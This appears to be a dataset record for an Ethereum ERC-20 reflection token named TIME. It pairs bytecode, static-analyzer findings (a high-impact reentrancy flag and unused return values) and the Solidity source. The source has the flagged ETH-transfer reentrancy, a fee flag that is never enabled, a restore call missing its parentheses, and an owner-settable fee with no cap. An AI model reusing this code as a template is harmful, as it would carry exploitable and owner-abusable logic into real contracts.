ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b315750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9d576000600a819055506009600b819055505b6000611ba8306109dd565b9050600e60159054906101000a900460ff16158015611c155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2d5750600e60169054906101000a900460ff165b15611c5557611c3b81611e69565b60004790506000811115611c5357611c5247611d8f565b5b505b505b611c628383836120e2565b505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca6919061276c565b60405180910390fd5b5060008385611cbe9190613378565b9050809150509392505050565b6000808303611cdd5760009050611d3f565b60008284611ceb91906133ac565b9050828482611cfa9190613435565b14611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d31906134d8565b60405180910390fd5b809150505b92915050565b6000611d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f2565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df7573d6000803e3d6000fd5b5050565b6000600854821115611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061356a565b60405180910390fd5b6000611e4c612155565b9050611e618184611d4590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea157611ea06128db565b5b604051908082528060200260200182016040528015611ecf5781602001602082028036833780820191505090505b5090503081600081518110611ee757611ee6612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb29190612da1565b81600181518110611fc657611fc5612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612091959493929190613648565b600060405180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ed838383612180565b505050565b60008083118290612139576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612130919061276c565b60405180910390fd5b50600083856121489190613435565b9050809150509392505050565b600080600061216261234b565b915091506121798183611d4590919063ffffffff16565b9250505090565b600080600080600080612192876123ad565b9550955095509550955095506121f086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d1816124bd565b6122db848361257a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233891906128bb565b60405180910390a3505050505050505050565b600080600060085490506000681043561a88293000009050612381681043561a8829300000600854611d4590919063ffffffff16565b8210156123a057600854681043561a88293000009350935050506123a9565b81819350935050505b9091565b60008060008060008060008060006123ca8a600a54600b546125b4565b92509250925060006123da612155565b905060008060006123ed8e87878761264a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b600080828461246e91906132b6565b9050838110156124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa906136ee565b60405180910390fd5b8091505092915050565b60006124c7612155565b905060006124de8284611ccb90919063ffffffff16565b905061253281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61258f8260085461241590919063ffffffff16565b6008819055506125aa8160095461245f90919063ffffffff16565b6009819055505050565b6000806000806125e060646125d2888a611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061260a60646125fc888b611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061263382612625858c61241590919063ffffffff16565b61241590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126638589611ccb90919063ffffffff16565b9050600061267a8689611ccb90919063ffffffff16565b905060006126918789611ccb90919063ffffffff16565b905060006126ba826126ac858761241590919063ffffffff16565b61241590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b8381111561271c576000848401525b50505050565b6000601f19601f8301169050919050565b600061273e826126d3565b61274881856126de565b93506127588185602086016126ef565b61276181612722565b840191505092915050565b600060208201905081810360008301526127868184612733565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cd826127a2565b9050919050565b6127dd816127c2565b81146127e857600080fd5b50565b6000813590506127fa816127d4565b92915050565b6000819050919050565b61281381612800565b811461281e57600080fd5b50565b6000813590506128308161280a565b92915050565b6000806040838503121561284d5761284c612798565b5b600061285b858286016127eb565b925050602061286c85828601612821565b9150509250929050565b60008115159050919050565b61288b81612876565b82525050565b60006020820190506128a66000830184612882565b92915050565b6128b581612800565b82525050565b60006020820190506128d060008301846128ac565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291382612722565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b600061294561278e565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600061299a61299584612956565b61293b565b905080838252602082019050602084028301858111156129bd576129bc612982565b5b835b818110156129e657806129d288826127eb565b8452602084019350506020810190506129bf565b5050509392505050565b600082601f830112612a0557612a046128d6565b5b8135612a15848260208601612987565b91505092915050565b600060208284031215612a3457612a33612798565b5b600082013567ffffffffffffffff811115612a5257612a5161279d565b5b612a5e848285016129f0565b91505092915050565b600080600060608486031215612a8057612a7f612798565b5b6000612a8e868287016127eb565b9350506020612a9f868287016127eb565b9250506040612ab086828701612821565b9150509250925092565b600060208284031215612ad057612acf612798565b5b6000612ade848285016127eb565b91505092915050565b600060ff82169050919050565b612afd81612ae7565b82525050565b6000602082019050612b186000830184612af4565b92915050565b612b2781612876565b8114612b3257600080fd5b50565b600081359050612b4481612b1e565b92915050565b600060208284031215612b6057612b5f612798565b5b6000612b6e84828501612b35565b91505092915050565b600060208284031215612b8d57612b8c612798565b5b6000612b9b84828501612821565b91505092915050565b612bad816127c2565b82525050565b6000602082019050612bc86000830184612ba4565b92915050565b60008060408385031215612be557612be4612798565b5b6000612bf3858286016127eb565b9250506020612c04858286016127eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c446020836126de565b9150612c4f82612c0e565b602082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce382612800565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1557612d14612ca9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d566017836126de565b9150612d6182612d20565b602082019050919050565b60006020820190508181036000830152612d8581612d49565b9050919050565b600081519050612d9b816127d4565b92915050565b600060208284031215612db757612db6612798565b5b6000612dc584828501612d8c565b91505092915050565b6000604082019050612de36000830185612ba4565b612df06020830184612ba4565b9392505050565b6000819050919050565b6000819050919050565b6000612e26612e21612e1c84612df7565b612e01565b612800565b9050919050565b612e3681612e0b565b82525050565b600060c082019050612e516000830189612ba4565b612e5e60208301886128ac565b612e6b6040830187612e2d565b612e786060830186612e2d565b612e856080830185612ba4565b612e9260a08301846128ac565b979650505050505050565b600081519050612eac8161280a565b92915050565b600080600060608486031215612ecb57612eca612798565b5b6000612ed986828701612e9d565b9350506020612eea86828701612e9d565b9250506040612efb86828701612e9d565b9150509250925092565b6000604082019050612f1a6000830185612ba4565b612f2760208301846128ac565b9392505050565b600081519050612f3d81612b1e565b92915050565b600060208284031215612f5957612f58612798565b5b6000612f6784828501612f2e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fcc6024836126de565b9150612fd782612f70565b604082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061305e6022836126de565b915061306982613002565b604082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f06025836126de565b91506130fb82613094565b604082019050919050565b6000602082019050818103600083015261311f816130e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131826023836126de565b915061318d82613126565b604082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132146029836126de565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132806019836126de565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b60006132c182612800565b91506132cc83612800565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330157613300612ca9565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613342601a836126de565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b600061338382612800565b915061338e83612800565b9250828210156133a1576133a0612ca9565b5b828203905092915050565b60006133b782612800565b91506133c283612800565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fb576133fa612ca9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344082612800565b915061344b83612800565b92508261345b5761345a613406565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c26021836126de565b91506134cd82613466565b604082019050919050565b600060208201905081810360008301526134f1816134b5565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613554602a836126de565b915061355f826134f8565b604082019050919050565b6000602082019050818103600083015261358381613547565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135bf816127c2565b82525050565b60006135d183836135b6565b60208301905092915050565b6000602082019050919050565b60006135f58261358a565b6135ff8185613595565b935061360a836135a6565b8060005b8381101561363b57815161362288826135c5565b975061362d836135dd565b92505060018101905061360e565b5085935050505092915050565b600060a08201905061365d60008301886128ac565b61366a6020830187612e2d565b818103604083015261367c81866135ea565b905061368b6060830185612ba4565b61369860808301846128ac565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136d8601b836126de565b91506136e3826136a2565b602082019050919050565b60006020820190508181036000830152613707816136cb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f0d412648645c4ffb877f2ed49ee602e643f5089ea3c310621cba03f5f1a65c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,661 |
0x8524afc228800a8816671bc9ec156a3a9c369a35
|
pragma solidity ^0.8.4;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract TIME is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TIME";
string private constant _symbol = "TIME";
uint8 private constant _decimals = 9;
// Mappings for tracking
mapping (address => uint256) public amountSoldTrack;
mapping (address => uint256) public amountBlockToSellNext;
uint256 public limitToSellBeforeBlockCooldown = 1000000 * 1e9;
uint256 public _timeToWait = 1 days;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _reflectionFee = 3;
uint256 private _storedReflectionFee = _reflectionFee;
uint256 private _teamFee = 7;
uint256 private _storedTeamFee = _teamFee;
// For transaction calculations
uint256 public _teamCutPct = 3;
uint256 public _liquidityCutPct = 4;
address payable private _teamAddress;
uint256 public _maxTxAmount = 1000000 * 1e9;
mapping(address => bool) private _isAdmin;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool private supportLiquidity = true;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamFunds) {
_teamAddress = teamFunds;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isAdmin[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isAdmin[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isAdmin[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _teamFee == 0) return;
_reflectionFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _storedReflectionFee;
_teamFee = _storedTeamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this)); // Get Token contract balance
bool overMinTokenBalance = contractTokenBalance >= 0;
uint256 contractETHBalance = address(this).balance; // Get ETH contract balance
bool overMinEthBalance = contractETHBalance >= 0;
bool takeFee;
if (!_isAdmin[from] && !_isAdmin[from]) {
require(amount <= _maxTxAmount,'_maxTxAmount exceeded');
if (!inSwap && from != uniswapV2Pair && swapEnabled) { // Swapping logic
if (overMinTokenBalance) {
if (supportLiquidity) {
uint256 liquidityPart = contractTokenBalance.div(3); // 0.02% of total supply for LQ
swapTokensForEth(contractTokenBalance.sub(liquidityPart)); // 66.6% (33.3% for LQ)
swapAndLiquify(liquidityPart);
} else {
swapTokensForEth(contractTokenBalance); // Swap all tokens for ETH
}
}
if (overMinEthBalance) {
sendETHToFee(contractETHBalance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
if(amountSoldTrack[from] >= limitToSellBeforeBlockCooldown){
amountBlockToSellNext[from] = block.number.add(_timeToWait);
amountSoldTrack[from] = 0;
}
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
emit SwapTokensForETH(tokenAmount, path);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function sendETHToFee(uint256 amount) private { //TODO TEST ETH CUTS
_teamAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, address(this), block.timestamp);
}
function liquiditySupport(bool _support) public onlyOwner {
supportLiquidity = _support;
}
function manualTokenSwap() external {
require(_msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function recoverEthFromContract() external {
require(_msgSender() == owner());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectionFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function manualBurn (uint256 amount) external onlyOwner() {
require(amount <= balanceOf(owner()), "Amount exceeds available tokens.");
_tokenTransfer(msg.sender, deadAddress, amount, false);
}
function setReflectionFee (uint256 _reflection) external onlyOwner() {
_reflectionFee = _reflection;
_storedReflectionFee = _reflection;
}
function setDevAddress(address payable _newDevAddress) external onlyOwner() {
_teamAddress = _newDevAddress;
}
}
|
0x6080604052600436106101a05760003560e01c8063715018a6116100ec578063d543dbeb1161008a578063e547be6911610064578063e547be69146104c7578063e71fa815146104e7578063f2fde38b146104fc578063f32026501461051c57600080fd5b8063d543dbeb14610434578063d71e467114610454578063dd62ed3e1461048157600080fd5b806395d89b41116100c657806395d89b41146101ac578063a9059cbb146103df578063b72c819d146103ff578063d0d41fe11461041457600080fd5b8063715018a6146103965780637d1db4a5146103ab5780638da5cb5b146103c157600080fd5b806327c8f835116101595780633885341e116101335780633885341e1461031d578063679f2aed146103335780636bb607f61461036057806370a082311461037657600080fd5b806327c8f8351461029f5780632bd3b093146102eb578063313ce5671461030157600080fd5b806306fdde03146101ac578063095ea7b3146101e857806318160ddd1461021857806323b635851461023d57806323b872dd1461025f57806323fdbac11461027f57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b50604080518082018252600481526354494d4560e01b602082015290516101df9190611866565b60405180910390f35b3480156101f457600080fd5b50610208610203366004611793565b610532565b60405190151581526020016101df565b34801561022457600080fd5b50670de0b6b3a76400005b6040519081526020016101df565b34801561024957600080fd5b5061025d6102583660046117de565b610549565b005b34801561026b57600080fd5b5061020861027a366004611753565b610610565b34801561028b57600080fd5b5061025d61029a3660046117be565b610679565b3480156102ab57600080fd5b506102d37f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101df565b3480156102f757600080fd5b5061022f600f5481565b34801561030d57600080fd5b50604051600981526020016101df565b34801561032957600080fd5b5061022f60105481565b34801561033f57600080fd5b5061022f61034e3660046116e3565b60016020526000908152604090205481565b34801561036c57600080fd5b5061022f60045481565b34801561038257600080fd5b5061022f6103913660046116e3565b6106c1565b3480156103a257600080fd5b5061025d6106e3565b3480156103b757600080fd5b5061022f60125481565b3480156103cd57600080fd5b506000546001600160a01b03166102d3565b3480156103eb57600080fd5b506102086103fa366004611793565b610719565b34801561040b57600080fd5b5061025d610726565b34801561042057600080fd5b5061025d61042f3660046116e3565b610747565b34801561044057600080fd5b5061025d61044f3660046117de565b610793565b34801561046057600080fd5b5061022f61046f3660046116e3565b60026020526000908152604090205481565b34801561048d57600080fd5b5061022f61049c36600461171b565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156104d357600080fd5b5061025d6104e23660046117de565b610865565b3480156104f357600080fd5b5061025d610899565b34801561050857600080fd5b5061025d6105173660046116e3565b6108c6565b34801561052857600080fd5b5061022f60035481565b600061053f33848461095e565b5060015b92915050565b6000546001600160a01b0316331461057c5760405162461bcd60e51b8152600401610573906118b9565b60405180910390fd5b6105916103916000546001600160a01b031690565b8111156105e05760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206578636565647320617661696c61626c6520746f6b656e732e6044820152606401610573565b61060d337f000000000000000000000000000000000000000000000000000000000000dead836000610a82565b50565b600061061d848484610ab6565b61066f843361066a856040518060600160405280602881526020016119e5602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190610ddb565b61095e565b5060019392505050565b6000546001600160a01b031633146106a35760405162461bcd60e51b8152600401610573906118b9565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b03811660009081526005602052604081205461054390610e15565b6000546001600160a01b0316331461070d5760405162461bcd60e51b8152600401610573906118b9565b6107176000610e99565b565b600061053f338484610ab6565b6000546001600160a01b0316331461073d57600080fd5b4761060d81610ee9565b6000546001600160a01b031633146107715760405162461bcd60e51b8152600401610573906118b9565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107bd5760405162461bcd60e51b8152600401610573906118b9565b6000811161080d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610573565b61082a6064610824670de0b6b3a764000084610f27565b90610fa6565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461088f5760405162461bcd60e51b8152600401610573906118b9565b600b819055600c55565b6000546001600160a01b031633146108b057600080fd5b60006108bb306106c1565b905061060d81610fe8565b6000546001600160a01b031633146108f05760405162461bcd60e51b8152600401610573906118b9565b6001600160a01b0381166109555760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610573565b61060d81610e99565b6001600160a01b0383166109c05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610573565b6001600160a01b038216610a215760405162461bcd60e51b8152602060048201526022602482015